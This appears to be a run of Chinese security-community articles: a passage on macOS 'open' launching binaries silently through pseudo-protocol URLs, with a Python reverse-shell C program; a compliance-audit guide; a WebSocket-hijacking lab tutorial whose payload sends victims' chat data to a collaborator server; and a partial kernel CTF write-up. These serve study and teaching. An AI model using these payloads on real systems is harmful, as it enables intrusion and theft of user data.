前面看了-a和不-a都可以打开计算器，那么这两者有什么区别呢？其实还是有一些细微的区别的。
* -a参数是指打开某个application
* 不带-a参数的时候会根据后缀等进行自动判断使用什么app进行打开
上面是正常情况下的认知，接下来看看一些例子来理解实际情况
open http://www.baidu.com/System/Applications/Calculator.app
从前面的理解上这条命令应该是默认打开浏览器并且访问域名`http://www.baidu.com/System/Applications/Calculator.app`并不会打开后面的计算器，然而实际上呢？
当然同时打开了safari访问了百度，但是同时打开了计算器……
这时候我们试试-a
open -a http://www.baidu.com/System/Applications/Calculator.app
可以看到加了-a后报错了（报错就对了，报错才是正常的）。
当然我们不仅可以使用http，还能使用一大堆其他的伪协议。
比如我们使用telnet
open telnet://www.baidu.com/System/Applications/Calculator.app
有时候我们想要无感知的，这时候只要把他换成ftp就可以了（其实会弹一个连接远程的服务的确认框，但总比弹百度好一些）
open ftp://8.8.8.8/System/Applications/Calculator.app
这些我猜测是因为伪协议导致的，目前猜测是iterm2中的伪协议，具体可以查看
当然抛开伪协议，我觉得open自身多少有点问题（
## 0x03 执行二进制
前面我们都是在打开app，我们能不能执行二进制呢？是可以的
我们正常来使用open执行一个二进制会怎么样？
这里先使用普通的open，分别打开python和curl，前者报了个错，后者则弹框提示要确认，当然点击确认的话是可以执行的。
可是这并不是我想要的啊！
这时候我们使用-a看看会怎么样？
open -a /usr/bin/curl
实际表现是没有任何反应的，那他到底执行没有呢？
这里我试着编译了一个执行反弹shell的c程序来看看是否反弹shell这样就能知道是否执行了。
c程序如下：
#include <stdio.h>
#include <stdlib.h>
int main(){
char* cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
system(cmd);
}
编译成一个叫testC的可执行程序，接下来我们监听10000端口同时试着用open打开它
open -a /Users/miku/tmp/testC
可以看到确实执行了。
这就比较神奇了，因为-a参数明明是执行application的，众所周知application在mac上其实是一个文件夹，但是现在却同样适用于二进制可执行文件！
那如果我们不用-a呢？试试看
open /Users/miku/tmp/testC
也是可以的，不过很显然这里是通过iterm2打开二进制文件，这种应该算预料之中的行为。但是我不想弹这个，能不能解决呢？试试前面的伪协议思路
open http://www.baidu.com/Users/miku/tmp/testC
iterm打开了一个新的终端页面，但是并没有执行testC。那怎么做才能执行呢？我们试试把testC的文件名改一改，改成testC.app。看看open是不是以后缀来做判断的。
open http://www.baidu.com/Users/miku/tmp/testC.app
成了，不仅没有弹任何窗口，还会成功反弹shell给我。这里的协议只要改成任意在支持列表里的就行，而且和打开正常application不一样，并不会弹任何无关的东西只会执行最后的testC.app！
## 0x04 结尾
上面这些要想完全应用到实际场景中可能还需要各位开动小脑筋，不过至少可以说明一些事情了。很多命令在实际使用的时候并不会像他们说明文档里说的那样简单纯粹。
我把这个问题汇总了一下，用我蹩脚的英文把这个当作漏洞反馈给了apple官方了，至于他接不接受，我才不care！
* * * | 社区文章 |
# 企业安全建设从合规开始
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
由于国家对网络安全的重视，极大的促进了网络安全的发展，越来越多的企业都开始开展企业安全建设的工作，但随着安全建设的不断深入和发展，各种规划、制度、要求的增多，会逐渐进入安全运营阶段，必定存在有制度未落地，要求未执行到位的情况出现，这时安全审计与合规检查就显得尤为重要了，它能通过某些方法从安全的角度出发，发现一些需要优化及改正的地方，促进整个安全体系的建设与运营。
## 目的
通过合规检查及审计的形式或者方式来推动企业信息安全制度实现，推动整个安全体制的良性发展，打造全方位的运营体系。
## 甲方与乙方的关系
乙方是指给企业（甲方）提供安全产品和服务的一方，包括安全产品原厂、代理商、集成商和外包
公司等。甲方和乙方的关系可以理解为唇亡齿寒的关系，就像是晋侯再次向虞国借道去征伐虢国，宫之奇进谏说：“虢国，处在虞国的外面。虢国如果灭亡了，虞国必然跟着灭亡。有言：‘辅车（颊骨与牙床）相依，唇亡齿寒’，所指的就是虞国和虢国之间的相依关系。”结果虞国国君没有听从劝告，晋国在灭了虢国后，顺便也灭了虞国。
谁离开谁都会失败。有好有坏，关键在于各守本分，各尽其责。 企业中较为常见的场景是，乙方老板说，贵公司是我们的大客户，我们一定会服务好。乙方销售则
在旁边配合，我们的产品和服务是最好的，用我们的绝对不会有问题。
更有甚者，个别老板和销售的回答令人啼笑皆非，我们的产品和服 务就是最好的，不用你们会后悔的。有风度的甲方此时往往还需要心情平静地答复，你们的产品和服务
我都了解了，挺不错的，希望有机会合作。但内心简直是崩溃的。 另一方面，也听到较多的乙方抱怨甲方，主管啥也不懂，就知道不能出事，出事背锅；安全人员啥
也不会，只知道指挥我们干活，把我们工程师不当人用。乙方眼里90%的甲方都是这个印象。
笔者无意为任何一方辩护，包括作为甲方的自己。因为甲乙双方都是站在自己的立场处理问题，无 可厚非。但甲方和乙方都需要检讨：
甲方，应该对自己承担的职责负责，不管用什么方法，结果是必须搞定安全问题，但要能识别什么 是能搞定的方案，以及哪些是方案中靠谱一员的乙方。
和乙方的关系挺简单，如果乙方能为甲方创造安 全价值，那给乙方匹配等量的安全回报，继续长期合作；否则对不起，多听一秒都是浪费生命。
乙方，应该是对自己的承诺负责，要了解你的客户，不是签单成功就万事大吉。合同落地才是刚刚
开始，在甲方的辨识能力和社会口碑传播效应越来越强的今天，做一锤子买卖只能让自己的路越走越窄。
有时候呢，甲方可以聘请乙方的人员进行安全建设的帮助，毕竟乙方比甲方相对更加熟悉其中的内容，派遣乙方人员去甲方进行安全服务相关的内容，保障和弥补因甲方人员的不足。
## 准备方面
甲方在合规检查的前期阶段需要做哪些准备：
**1.资产梳理**
·IP列表、业务分组(负责人、联系方向)、业务属性
·业务端口
·业务应用架构、技术堆栈
**2\. 边界安全，防火墙策略控制（需要梳理业务端口）**
·如果是硬件，使用防火墙统一控制
·如果是操作系统，Iptalbes＋IPSEC
·及时监控业务端口的变化（外部nmap扫描搜集结果比对，或者编写脚步放到运维平台收集系统监听端口和防火墙策略)
·跳板机安全控制
**3\. 账户安全管理**
·弱密码
·root、sudoer权限
·账户、授权、访问、审计等等
**4\. 服务器安全**
·安全基线检测
·操作审计
·异常登录审计(日志收集分析)
·漏洞清点/扫描，补丁修复测试和推进
**5\. WEB安全**
·应用渗透测试
·接口安全(加密、通信)
·webshell实时监测
·Nginx日志分析/Nginx流量旁路分析
**6\. 业务风控安全**
·用户安全机制（密码、验证码、登录）
·交易安全
**7\. 安全培训**
·安全意识培训
·运维安全培训
·WEB安全开发
**8\. 安全规范和流程**
·人员入职账户开通
·人员离职账户注销
·服务器上下架安全管理
·安全应急响应机制
**9\. 内网安全**
·内网服务器安全
·账户统一验证和管理机制(域ldap协议统一验证OA、RTX、邮件、内网业务系统)
·弱口令监测(NTLM/LM)
·账户异常登录
·网络隔离（物理／虚拟化）
·网络准入
·PC安全（病毒统一管理、通知处理）
## 安全合规检查
一般情况下都是日常的检查，还有就是后期的专门针对某一项进行检查，查看是否属于合规，开始安全检查之前，我们都会确认此次检查的主要目标，可能是某个比较新的系统或应用，也许是比较老的系统，但都有一个共同点–重要业务系统。
确定了检测的目标系统或应用后，我们需要制定检测的内容，可能主要包括网络安全、应用安全、数据安全、访问控制、主机安全、权限控制等几方面考虑，也会考虑系统的特殊性及主要功能，确认出重点检查内容，例如，存在较多敏感数据的系统，我们会重点检查数据安全、访问控制、权限控制等几方面的内容；当所有的检查内容已确认后，我们会内部协调人员，针对检查项的内容，进行具体的分工，一般来说都会选择各自擅长的领域，保证检测内容具体一定的深度及专业性，检查人员会根据公司的制度要求以及日常工作的经验对内容进行检查。一般会发邮件或正式的公文给被检查方，要求指定接口人，负责接下来的检查工作，包括人员进出安排，会议室的安排，被检查方内部人员的协调，资料的获取等方面。针对检查的内容，检查组内部会根据制度或经验，会要求被检查方先提供部分资料，减少检查时间，一般检查组组长会事先收集好检查组内部的资料调阅需求，然后统一发送给被检查方接口人，要求在什么时候提供什么内容的资料，检查组内部也会根据提供的材料，在现场或远程查看重点关注的内容项。
随着前面检查准备工作的完成，正式进入安全检查的环节，这部分可能会有两种方式进行，远程检查或现场检查，远程检测会通过视频的形式要求展示检测组提出的检查点，现场检查的流程为召开启动会、确定访谈内容及计划、现场或远程核查内容项、检查进度汇报、检查问题收集等
**启动会**
我们一般去现场检查都会先召开启动会，会将相关部门的领导、人员邀请参加会议，以便于后面工作的开展，在会上将会此次检查的目的、流程安排、要求等告知被检查方，针对检查的内容项，会建议被检查方的领导指定对应的人员去负责配合工作等。
**确定访谈内容和计划的制定**
**现场\远程核查内容**
到了这一步，前面肯定会收到调阅材料，此时，应该要求检查组成员对提供的材料进行核查，确认哪些已经满足的，哪些还需要补充，哪些需要现场上机查看，哪些可以远程提供的，这都需要做个好的记录与统计。
**检查进度汇报**
一般检查的时间都不止一天，每天下班前检查组的每个组员都需要对自己今天进展进行汇报，表达检查的方法及进度，组长此时应根据组员的反馈情况，及时调整优化，记录，当组员全部汇报完成后，需将今天检查的进度告知双方领导及组员，以便双方领导都明白检查项目的进展情况，我一般都采用邮件的方式，这样显得正式些。
注：对检查过程中需要升级处理的问题，需尽早提出，寻求方法处理，说明困难的原因，请求以及时间，以便领导能协调资源帮助解决。
**问题信息收集**
最后，组长需要对此次检查发现的问题进行统计，确认，存在的问题都应有截图证明材料，以及公司的制度要求等，能证实问题确实存在，且告知与公司制度的哪一项要求不符合，怎么整改等。
**检查结束发现问题确认**
1. 在与被检查方确认问题之前，检查组内部需进行问题分析、确认，评估发现问题的风险及内容，尽量描述的准确，真实，这样被检查方才会认可发现的问题，能现场整改完成的，可以直接沟通现场整改完成，并保留证明材料；
2. 与被检查方确认问题之时，清晰明了的指出问题所在，违反的制度内容以及整改方式。
3. 最终确定的检查清单，应已邮件的形式发给双方领导及参与人员。
4. 难免会有争辩的地方，切忌因情绪影响，根据发现风险、分析原因、整改措施这三个方面来沟通
**编写检查报告**
问题进行确认后，需要编写一份检查报告，对整个检查项目进行分析，包括检查目标，检查内容，检查人员，检查计划，发现的问题等方面，针对检查内容，应尽量详实的描述实际检查的情况。
## 检查总结
针对整个检查项目完成后，应该对此次检查做个总结，可以从如下几个方面去总结：
1. 此次检查的内容覆盖是否完全，查看是否达到预期的设想
2. 针对发现的问题，是否需要改进，存在的漏洞或者问题
3. 检查过程中，如何提高效率
4. 整个检查流程是否需要更新或提高 | 社区文章 |
## 什么是ws劫持
ws劫持全称为跨站点WebSocket劫持(CSWSH)，(也称为跨源 WebSocket 劫持)涉及WebSocket 握手上的跨站点请求伪造(CSRF)
漏洞。当 WebSocket 握手请求仅依赖 HTTP cookie 进行会话处理并且不包含任何CSRF 令牌或其他不可预测的值时，就会出现这种情况。
攻击者可以在自己的域中创建恶意网页，从而与易受攻击的应用程序建立跨站点 WebSocket 连接。应用程序将在受害者用户与应用程序的会话上下文中处理连接。
然后，攻击者的页面可以通过连接向服务器发送任意消息，并读取从服务器收到的消息内容。这意味着，与常规 CSRF 不同，攻击者获得与受感染应用程序的双向交互。
综上所述，这一知识点涉及的知识主要有websocket和CSRF令牌，那我们就需要进一步了解这两个东西了
### WebSocket是啥
WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人
有人要问了：那他和同为协议的且使用更普遍的HTTP协议有什么区别呢？
首先呢WebSocket是HTML5推出的新协议，是基于TCP的应用层通信协议，它与http协议内容本身没有关系。
同时WebSocket 也类似于 TCP 一样进行握手连接，跟 TCP 不同的是，WebSocket 是基于 HTTP
协议进行的握手，它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道
WebSocket连接是通过HTTP发起，通常是长期存在的。消息可以随时向任何一个方向发送，并且本质上不是事务性的。连接通常保持打开和空闲状态，直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用，例如金融数据的实时馈送。
使用HTTP时，客户端发送请求，服务器返回响应。通常响应立即发生，事务完成。即使网络连接保持打开，请求和响应也是单独的事务。这一点和websocket本质上不同。
#### WebSocket是如何建立的
由图可见，WebSocket连接的建立需要经过连接请求、握手、连接建立这三个环节
首先要由浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
然后返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
需要网络连接保持打开状态，可用于在任一方向上发送WebSocket消息。
ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息
同时需要client-side JavaScript 用于定义链接
var ws = new WebSocket("wss://normal-website.com/chat");
### CSRF令牌是啥
这里用一个维基百科的例子解释
* * *
* 假设您当前登录到您的网上银行 `www.mybank.com`
* 假设从中进行汇款，`mybank.com`将导致（在概念上）形式的要求`[www.mybank.com/transfer?to=](http://www.mybank.com/transfer?to=)<SomeAccountnumber>;amount=<SomeAmount>`。（不需要您的帐号，因为您的登录名暗示了该帐号。）
* 您访问`www.cute-cat-pictures.org`，却不知道这是一个恶意网站。
* 如果该站点的所有者知道上述请求的形式（简单！）并且正确地猜测您已登录`mybank.com`（需要运气！），则他们可以在其页面上添加一个请求，例如`[www.mybank.com/transfer?to=123456;amount=10000](http://www.mybank.com/transfer?to=123456;amount=10000)`（`123456`开曼群岛帐户的编号在哪里） ，这`10000`是您以前认为 _很高兴_ 拥有的金额）。
* _您_ 检索的`www.cute-cat-pictures.org`页面，那么 _你的_ 浏览器会作出这样的要求。
* 您的银行无法识别请求的来源：您的网络浏览器将发送请求以及您的`www.mybank.com`cookie，并且看起来完全合法。你的钱去了！
这是 **没有CSRF令牌** 的世界。
现在， ** _使用_ CSRF令牌**获得更好的效果：
* 传输请求扩展了第三个参数：`[www.mybank.com/transfer?to=123456;amount=10000;token=31415926535897932384626433832795028841971](http://www.mybank.com/transfer?to=123456;amount=10000;token=31415926535897932384626433832795028841971)`。
* 该令牌是一个巨大的，无法猜测的随机数，`mybank.com`当他们将其提供给您时会包含在他们自己的网页上。每次他们向任何人提供任何页面时，情况都 _不同_ 。
* 攻击者无法猜测令牌，也无法说服您的Web浏览器放弃该令牌（如果浏览器正常工作...），因此攻击者将 _无法_ 创建有效请求，因为带有错误的令牌（或没有令牌）将被拒绝`www.mybank.com`。
结果：您保留了`10000`货币单位。我建议您将其中一些捐赠给Wikipedia。
（你的旅费可能会改变。）
**编辑评论值得阅读：**
值得注意的是`www.cute-cat-pictures.org`，`www.mybank.com`由于HTTP访问控制，通常来自的脚本无法访问您的反CSRF令牌。对于某些人，他们`Access-Control-Allow-Origin:
*`不了解每个网站响应的标题而仅仅因为他们不能使用另一个网站的API，因此对于那些不合理地为每个网站响应发送标头的人来说非常重要。
* * *
由于令牌在生成过程中使用到了伪随机数（pseudo-random
number）生成器、静态密钥、以及种子时间戳，因此CSRF令牌的值是不可预测的。同时，每个用户的令牌也是不同的，而且只会存储活动的用户会话。据此，安全团队可以通过将随机数生成器的输出，与用户特定的熵（entropy）连接起来，并对整个结构进行散列处理，以提高令牌值的唯一性。对此，黑客将很难在早期的会话Cookie中，根据已发布的令牌样本，去猜测CSRF令牌。
举个例子，大概有以下特征的就可以合理怀疑是否有csrf令牌生成
<?php
namespace app\extra;
class CsrfToken
{
/**
* TOKEN key
* @var
*/
private $key = 'default';
/**
* 随机字符串
* @var string
*/
private $shuffleStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890./!#$&*";
/**
* 基础配置
* @var array
*/
private $options = [
"prefix"=>"csrf_token:", // session 缓存前缀
"cookie_token"=>"_hash_token_", // cookie 客服端前缀
"expire"=>1800, // cookie值过期时间
"token_len"=>24, // 随机字符串截取长度
"path"=>"/", // cookie 服务器路径
"secure"=>false, // cookie 规定是否通过安全的 HTTPS 连接来传输 cookie：false否，true是
"httponly"=>false, // cookie js脚本将无法读取到cookie信息，这样能有效的防止XSS攻击：true防止JS读取数据，false否
"dimain"=>"" // cookie 的域名[默认当前域名使用]
];
/**
* 构造基础配置
* CsrfToken constructor.
* @param array|null $option
* @throws \Exception
*/
public function __construct(array $option=null)
{
// 重置基础配置
if ($option){
$this->options = array_merge($this->options,$option);
}
// 验证是否开启session
if (!$this->checkSessionStart()){
throw new \Exception("未开启SESSION服务，请确认开启再操作",500);
}
}
/**
* 设置TOKEN SESSION KEY
* @param mixed $key
*/
public function setKey($key)
{
$this->key = $key;
}
/**
* 获取TOKEN
* @param int $is_refresh 是否强制刷新TOKEN：0否，1是
* @return null|string
*/
public function csrfToken(int $is_refresh=0)
{
// 获取SESSION key
$key = $this->getTokenKey();
$csrfToken = session($key);
if (!$csrfToken || $is_refresh == 1){
// 强制刷新TOKEN
$this->refreshCsrfToken($csrfToken);
}
return $csrfToken ? (string)$csrfToken : null;
}
/**
* 刷新token
* @param null $csrfToken
* @return bool
*/
public function refreshCsrfToken(&$csrfToken=null)
{
$csrfToken = $this->generateToken();
// 获取SESSION key
$key = $this->getTokenKey();
session($key,$csrfToken);
// 设置Cookie
$cookieKey = $this->getCookieKey();
cookie(
$cookieKey,
$csrfToken
);
// 验证是否创建成功
$csrfToken = session($key);
$_csrfToken = cookie($cookieKey);
if (!$csrfToken || strcasecmp($csrfToken,$_csrfToken) != 0){
return false;
}
return true;
}
/**
* 验证TOKEN是否有效
* @param string|null $_csrfToken
* @return bool
*/
public function validateToken(string $_csrfToken)
{
$res = $this->_validate($_csrfToken);
if ($res === false){
// 移除客户端token
$cookieKey = $this->getCookieKey();
cookie($cookieKey,null);
}
// 验证完成，重置token【注：无论是否成功】
$this->refreshCsrfToken();
return $res;
}
/**
* 验证token值
* @param string|null $_csrfToken
* @return bool
*/
protected function _validate(string $_csrfToken)
{
if (!$_csrfToken || !is_scalar($_csrfToken)){
return false;
}
// 拆出token验证长度和过期时间
@list($token,$expireTime) = explode("-",$_csrfToken);
if (mb_strlen($token) != 40){
return false;
}
// 获取SESSION key
$key = $this->getTokenKey();
$csrfToken = session($key);
if (!$csrfToken){
return false;
}
// 验证是否通过，返回失败移除客户端token
if (strcasecmp($csrfToken,$_csrfToken) != 0){
return false;
}
// 验证token是否过期
if ($expireTime < time()){
return false;
}
return true;
}
/**
* 生成token
* @return string
*/
protected function generateToken()
{
// 随机打乱字符串
$originStr = str_shuffle($this->shuffleStr);
$len = mb_strlen($originStr);
if ($len > $this->options['token_len']){
$this->options['token_len'] = $len;
}
// 按长度截取
$temp = mb_substr($originStr,0,$this->options['token_len']);
// 拼接随机码和时间戳
$temp .= uniqid().time();
// sha加密
$csrfToken = sprintf(
"%s-%s",sha1($temp),$this->getExpireTime()
);
return $csrfToken;
}
/**
* 获取TOKEN 完整KEY
* @return string
*/
protected function getTokenKey()
{
return $this->options['prefix'].$this->key;
}
/**
* 获取cookie KEY
* @return string
*/
protected function getCookieKey()
{
return $this->options['cookie_token'].$this->key;
}
这个是自动生成csrf令牌代码的一部分，大概有以上特征的就可以合理怀疑了
对于 CSRF cookie 常用的一些全局变量
CSRF_COOKIE_NAME = 'csrftoken' # 默认的 key 名称
CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52 # 存活时间
CSRF_COOKIE_DOMAIN = None # 在那个域名下生效
CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN' # 请求头的名称
## WebSocket劫持的影响
伪装成受害者用户执行未经授权的操作。与常规 CSRF 一样，攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的 WebSocket
消息来执行任何敏感操作，则攻击者可以跨域生成合适的消息并触发这些操作。
检索用户可以访问的敏感数据。与常规 CSRF 不同，跨站点 WebSocket 劫持使攻击者可以通过被劫持的 WebSocket
与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的 WebSocket
消息向用户返回任何敏感数据，则攻击者可以拦截这些消息并捕获受害用户的数据。
总而言之
* 伪装成受害用户执行未经授权的操作。
* 检索用户可以访问的敏感数据。（与传统的CSRF不同，通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。）
## 一个实例
靶场是bp的官方靶场
该在线商店具有使用WebSockets实现的实时聊天功能。
为了解决实验室问题，请使用漏洞利用服务器托管 HTML/JavaScript 负载，该负载使用跨站点 WebSocket
劫持攻击来窃取受害者的聊天记录，然后使用此访问他们的帐户。
时时聊天界面如下
补充一个重要条件，要用火狐浏览器来进行抓包操作，要不会导致WebSocket抓不到的尴尬局面
我们首先观察一下/chat的报文，看看有没有CSRF令牌
GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
不难发现，其中用到了WebSocket协议且没有与上方写到的CSRF令牌的相关内容，所以说不存在csrf令牌
然后将以下代码放到靶场自带的东西中
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
然后将your-websocket-url替换成目前聊天框的URL：比如`wss://ace71f371e9e475580b8003800fc0040.web-security-academy.net/chat`，wss记得要改
同时将your-collaborator-url替换成Burp Collaborator Client生成的payload
下面介绍一下Burp Collaborator Client
可以将他简单理解为是Burp给我们提供的一个外部服务器
测试跨站可能有些功能插入恶意脚本后无法立即触发，例如提交反馈表单，需要等管理员打开查看提交信息时才会触发，程序不进行详细的回显信息，而只是返回对或者错时，我们都可以叫它盲。
我们需要一个外部的独立的服务器，可以通过域名 url
进行访问。然后在测试盲跨站插入恶意脚本时带上这个服务器的地址，在测试盲写我们这个服务器的地址。如果存在上述的这些问题，那么目标服务器就会去访问我们自己的服务器，我们自己服务器要做的就是记录别人访问自己的信息，记录其发送内容相应内容等，因为目标服务器不会给前台返回任何信息，而在和我们外部服务器交互时，我们外部服务器会记录其交互的过程和内容，从而有利于我们判断漏洞的存在。
Burp 给我们提供了这个外部服务器，叫 Collaborator
下面这个图可以大体的代表 collaborator 的大体工作流程，首先 burp 发送 payload 给目标程序，以下图为例，其 payload
为外部的服务器 url 地址，随后目标程序若进行解析或则引用调用等，则会去访问这个地址，而这个地址是我们的 collaborator 服务器，所以
collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后，就会不断的去问
collaborator 服务器，你收到我发送的 payload 交互了么，这时 collaborator 就会将交互信息告诉 burp，burp
最后进行报告。
这个好东西在哪呢？这里使用的是Burp的官方默认服务
设置好后，我们可以通过工具栏的 burp 下的 burp collaborator client 来运行
点击复制到粘贴板就可以把他的payload url复制下来使用了，也就是上面提到的Burp Collaborator Client生成的payload
我们回到题目本身，写完是这样的
可以用view exploit进行攻击测试，由回应了之后就可以直接发给被攻击方了
之后我们在Collaborator Client里面进行轮询，多轮询几遍就可以在其中的某一个报文中找出账号密码了 | 社区文章 |
# InCTF 2021 国际赛 - kqueue 复现及简要分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.一切开始之前
InCTF 国际赛据称为印度的“强网杯”，比赛时笔者所在的战队没有报名所以未能参加，赛后笔者看到了[Scupax0s 师傅的
WP](https://bbs.pediy.com/thread-269031.htm)后把其中一道kernel pwn简单复现了一下，感觉还是挺不错的一道
kernel pwn 入门题
> 原题下载地址在[这里](https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/Kqueue)，
>
> 这道题的文件系统用 Buildroot 进行构建， **登入用户名为 ctf，密码为 kqueue** ，笔者找了半天才在官方 GitHub 里的
> Admin 中打远程用的脚本找到的这个信息…
>
> 还有个原因不明的问题，本地重打包后 **运行根目录下 init 时的 euid 为 1000** ，笔者只好拉一个别的 kernel pwn
> 的文件系统过来暂时顶用…
## 0x01.题目分析
### 保护分析
查看启动脚本，只开启了 kaslr 保护，没开 KPTI 也没开 smap&smep，还是给了我们 ret2usr 的机会的
#!/bin/bash
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic
### 源码分析
题目给出了源代码，免去了我们逆向的麻烦
在 `kqueue.h` 中只定义了一个 ioctl 函数
static long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl};
ioctl 的函数定义位于 `kqueue.c` 中，如下：
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long result;
request_t request;
mutex_lock(&operations_lock);
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}
switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}
我们要传入的结构体应当为 `request_t` 类型，如下：
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
在 ioctl 中定义了比较经典的增删改查操纵，下面逐个分析
***err**
笔者发现在其定义的一系列函数当中都有一系列的检查，若检查不通过则会调用 `err` 函数，如下：
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}
也就是说 **所有的检查没有任何的实际意义，哪怕不通过检查也不会阻碍程序的运行** ，经笔者实测确乎如此
**create_kqueue**
主要是进行队列的创建，限制了队列数量与大小
static noinline long create_kqueue(request_t request){
long result = INVALID;
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;
/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}
其中一个 queue 结构体定义如下，大小为 0x18：
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;
我们有一个全局指针数组保存分配的 queue
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};
在这里用到了 [gcc 内置函数](https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html) `__builtin_umulll_overflow`，主要作用就是将前两个参数相乘给到第三个参数，发生溢出则返回
true，`__builtin_saddll_overflow` 与之类似不过是加法
那么这里虽然 queue 结构体的成员数量似乎是固定的，但是在 kmalloc 时传入的 size 为 `((request.max_entry + 1)
* sizeof(queue_entry)) + sizeof(queue)`，其剩余的空间用作 queue_entry 结构体，定义如下：
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};
在这里存在一个 **整型溢出漏洞** ：如果在
`__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space)`
